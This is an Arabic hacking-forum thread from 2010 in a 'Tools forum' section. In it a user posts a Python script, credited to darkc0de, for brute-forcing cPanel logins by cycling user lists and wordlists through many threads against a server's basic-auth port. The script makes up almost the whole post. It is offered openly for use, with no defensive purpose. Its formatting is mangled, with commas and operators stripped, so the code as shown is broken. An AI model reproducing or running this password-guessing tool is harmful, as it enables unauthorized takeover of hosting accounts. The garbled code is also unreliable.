التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام



العودة   :: vBspiders Professional Network :: > [ ::. قـسم الأختراق المتقدم .:: Advanced Hacking Section .:: ] > Tools forum

 
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 06-12-2010, 12:06 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي python script 4 cPanel bruteForcer


كود PHP:

#!usr/bin/python 
#cPanel bruteForcer 
#http://www.darkc0de.com 
#d3hydr8[at]gmail[dot]com 

import threadingtimerandomsysurllib2httplibbase64 
from copy import copy 

def title
(): 
    print 
"\n\t   d3hydr8[at]gmail[dot]com cPanel bruteForcer v1.0" 
    
print "\t-----------------------------------------------------\n" 
     
def timer(): 
    
now time.localtime(time.time()) 
    return 
time.asctime(now
     
if 
len(sys.argv) !=5
    
title() 
    print 
"\nUsage: ./cPanelbrute.py <server> <port> <userlist> <wordlist>\n" 
    
print "ex: python cPanelbrute.py example.com 2082 users.txt wordlist.txt\n" 
    
sys.exit(1

try: 
      
users open(sys.argv[3], "r").readlines() 
except(IOError):  
      print 
"Error: Check your userlist path\n" 
      
sys.exit(1
   
try: 
      
words open(sys.argv[4], "r").readlines() 
except(IOError):  
      print 
"Error: Check your wordlist path\n" 
      
sys.exit(1

wordlist copy(words

def reloader(): 
    for 
word in wordlist
        
words.append(word

def getword(): 
    
lock threading.Lock() 
    
lock.acquire() 
    if 
len(words) != 0
        
value random.sample(words,  1
        
words.remove(value[0])         
    else: 
        print 
"\nReloading Wordlist - Changing User\n" 
        
reloader() 
        
value random.sample(words,  1
        
users.remove(users[0]) 
         
    
lock.release() 
    if 
len(users) ==1
        return 
users[0], value[0][:-1
    else: 
        return 
users[0][:-1], value[0][:-1]  

def getauth(url): 
     
    
req urllib2.Request(url
    try: 
            
handle urllib2.urlopen(req
    
except IOErrore:                
            
pass 
    
else:                                
            print 
"This page isn't protected by basic authentication.\n" 
            
sys.exit(1
    
    if 
not hasattr(e'code') or e.code != 401:                  
            print 
"\nThis page isn't protected by basic authentication." 
            
print 'But we failed for another reason.\n' 
            
sys.exit(1

    
authline e.headers.get('www-authenticate''')     
           
    if 
not authline
            print 
'\nA 401 error without a basic authentication response header - very weird.\n' 
            
sys.exit(1
    else: 
        return 
authline 
             
class Worker(threading.Thread): 
     
    
def run(self): 
        
usernamepassword getword() 
        try: 
            print 
"-"*12 
            
print "User:",username,"Password:",password 
            auth_handler 
urllib2.HTTPBasicAuthHandler() 
            
auth_handler.add_password("cPanel"serverbase64encodestring(username)[:-1], base64encodestring(password)[:-1]) 
            
opener urllib2.build_opener(auth_handler
            
urllib2.install_opener(opener
            
urllib2.urlopen(server
            print 
"\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"             
        
except (urllib2.HTTPErrorhttplib.BadStatusLine), msg:  
            
#print "An error occurred:", msg 
            
pass 
         
title
() 
if 
sys.argv[1][-1] == "/"
    
sys.argv[1] = sys.argv[1][:-1]  
server sys.argv[1]+":2082" 
if sys.argv[2].isdigit() == False
    print 
"[-] Port must be a number\n" 
    
sys.exit(1
else: 
    
port sys.argv[2]  
if 
sys.argv[1][-1] == "/"
    
sys.argv[1] = sys.argv[1][:-1]  
server sys.argv[1]+":"+port 

print "[+] Server:",server 
print "[+] Port:",port  
print "[+] Users Loaded:",len(users
print 
"[+] Words Loaded:",len(words
print 
"[+]",getauth(server
print 
"[+] Started",timer(),"\n" 

for i in range(len(words)*len(users)): 
    
work Worker() 
    
work.setdaemon(1
    
work.start() 
    
time.sleep(1
print 
"\n[-] Done -",timer(),"\n" 


اهداء خاص لـ
data$hack

:Great:


python script 4 cPanel bruteForcer

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
 

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
ابدأ مع البرمجة و تعلم python z3r0 b0mb3r برمجة السكربتات 21 07-28-2017 01:12 AM
Python : mail_finder v0.1 data$hack Tools forum 18 08-20-2016 06:13 PM
Python : d_f_bruter v01 data$hack Tools forum 9 02-12-2011 02:29 PM
Priv8 Steam BruteForcer KaLa$nikoV قـسـم الـبـريد الإلـكتروني والحسابات العامة 27 01-26-2011 07:10 PM
Python : Robots_file v01 data$hack Tools forum 2 07-05-2010 05:05 PM


الساعة الآن 07:50 AM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0